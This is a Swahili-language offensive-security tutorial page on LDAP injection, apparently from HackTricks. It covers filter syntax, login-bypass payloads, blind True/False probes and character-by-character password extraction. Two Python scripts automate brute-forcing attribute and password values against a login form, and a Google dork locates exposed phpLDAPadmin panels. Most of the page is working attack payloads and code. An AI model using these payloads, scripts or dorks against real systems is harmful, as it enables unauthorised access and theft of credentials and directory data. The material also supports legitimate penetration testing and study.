# LDAP Injection {{#include ../banners/hacktricks-training.md}} ## LDAP Injection ### **LDAP** **Ikiwa unataka kujua ni nini LDAP, tembelea ukurasa ufuatao:** {{#ref}} ../network-services-pentesting/pentesting-ldap.md {{#endref}} **LDAP Injection** ni shambulio linalolenga programu za wavuti ambazo zinaunda taarifa za LDAP kutoka kwa pembejeo za mtumiaji. Hii inatokea wakati programu **inashindwa kusafisha** pembejeo ipasavyo, ikiruhusu washambuliaji **kubadilisha taarifa za LDAP** kupitia proxy ya ndani, ambayo inaweza kusababisha ufikiaji usioidhinishwa au urekebishaji wa data. {{#file}} EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf {{#endfile}} **Filter** = ( filtercomp )\ **Filtercomp** = na / au / si / kipenge\ **Na** = & filterlist\ **Au** = |filterlist\ **Si** = ! filter\ **Filterlist** = 1\*filter\ **Kipenge**= rahisi / kuwepo / sehemu\ **Rahisi** = attr filtertype assertionvalue\ **Filtertype** = _'=' / '\~=' / '>=' / '<='_\ **Kuwepo** = attr = \*\ **Sehemu** = attr ”=” \[mwanzo] \* \[mwisho]\ **Mwanzo** = assertionvalue\ **Mwisho** = assertionvalue\ **(&)** = Ukweli wa Kipekee\ **(|)** = Uongo wa Kipekee Kwa mfano:\ `(&(!(objectClass=Impresoras))(uid=s*))`\ `(&(objectClass=user)(uid=*))` Unaweza kufikia hifadhidata, na hii inaweza kuwa na taarifa za aina nyingi tofauti. **OpenLDAP**: Ikiwa vichujio 2 vinakuja, inatekeleza tu cha kwanza.\ **ADAM au Microsoft LDS**: Kwa vichujio 2 wanatoa kosa.\ **SunOne Directory Server 5.0**: Tekeleza vichujio vyote viwili. **Ni muhimu sana kutuma kichujio chenye sintaksia sahihi au kosa litatokea. Ni bora kutuma kichujio kimoja tu.** Kichujio kinapaswa kuanza na: `&` au `|`\ Mfano: `(&(directory=val1)(folder=public))` `(&(objectClass=VALUE1)(type=Epson*))`\ `VALUE1 = *)(ObjectClass=*))(&(objectClass=void` Kisha: `(&(objectClass=`**`*)(ObjectClass=*))`** itakuwa kichujio cha kwanza (kile kinachotekelezwa). ### Login Bypass LDAP inasaidia mifumo kadhaa kuhifadhi nywila: wazi, md5, smd5, sh1, sha, crypt. Hivyo, inaweza kuwa kwamba bila kujali kile unachoweka ndani ya nywila, inahifadhiwa. ```bash user=* password=* --> (&(user=*)(password=*)) # The asterisks are great in LDAPi ``` ```bash user=*)(& password=*)(& --> (&(user=*)(&)(password=*)(&)) ``` ```bash user=*)(|(& pass=pwd) --> (&(user=*)(|(&)(pass=pwd)) ``` ```bash user=*)(|(password=* password=test) --> (&(user=*)(|(password=*)(password=test)) ``` ```bash user=*))%00 pass=any --> (&(user=*))%00 --> Nothing more is executed ``` ```bash user=admin)(&) password=pwd --> (&(user=admin)(&))(password=pwd) #Can through an error ``` ```bash username = admin)(!(&(| pass = any)) --> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True. ``` ```bash username=* password=*)(& --> (&(user=*)(password=*)(&)) ``` ```bash username=admin))(|(| password=any --> (&(uid=admin)) (| (|) (webpassword=any)) ``` #### Orodha - [LDAP_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt) - [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt) - [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) ### Blind LDAP Injection Unaweza kulazimisha majibu ya False au True ili kuangalia kama kuna data yoyote inarudi na kuthibitisha uwezekano wa Blind LDAP Injection: ```bash #This will result on True, so some information will be shown Payload: *)(objectClass=*))(&objectClass=void Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*)) ``` ```bash #This will result on True, so no information will be returned or shown Payload: void)(objectClass=void))(&objectClass=void Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*)) ``` #### Dump data Unaweza kuzunguka juu ya herufi za ascii, nambari na alama: ```bash (&(sn=administrator)(password=*)) : OK (&(sn=administrator)(password=A*)) : KO (&(sn=administrator)(password=B*)) : KO ... (&(sn=administrator)(password=M*)) : OK (&(sn=administrator)(password=MA*)) : KO (&(sn=administrator)(password=MB*)) : KO ... ``` ### Scripts #### **Gundua maeneo halali ya LDAP** Vitu vya LDAP **vina vyenye kwa chaguo-msingi sifa kadhaa** ambazo zinaweza kutumika kuhifadhi **habari**. Unaweza kujaribu **kuvunjavunja zote ili kupata habari hiyo.** Unaweza kupata orodha ya [**sifa za LDAP za chaguo-msingi hapa**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt). ```python #!/usr/bin/python3 import requests import string from time import sleep import sys proxy = { "http": "localhost:8080" } url = "http://10.10.10.10/login.php" alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;" attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",] for attribute in attributes: #Extract all attributes value = "" finish = False while not finish: for char in alphabet: #In each possition test each possible printable char query = f"*)({attribute}={value}{char}*" data = {'login':query, 'password':'bla'} r = requests.post(url, data=data, proxies=proxy) sys.stdout.write(f"\r{attribute}: {value}{char}") #sleep(0.5) #Avoid brute-force bans if "Cannot login" in r.text: value += str(char) break if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value finish = True print() ``` #### **Special Blind LDAP Injection (bila "\*")** ```python #!/usr/bin/python3 import requests, string alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;" flag = "" for i in range(50): print("[i] Looking for number " + str(i)) for char in alphabet: r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char) if ("TRUE CONDITION" in r.text): flag += char print("[+] Flag: " + flag) break ``` ### Google Dorks ```bash intitle:"phpLDAPadmin" inurl:cmd.php ``` ### Zaidi ya Payloads {{#ref}} https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection {{#endref}} {{#include ../banners/hacktricks-training.md}}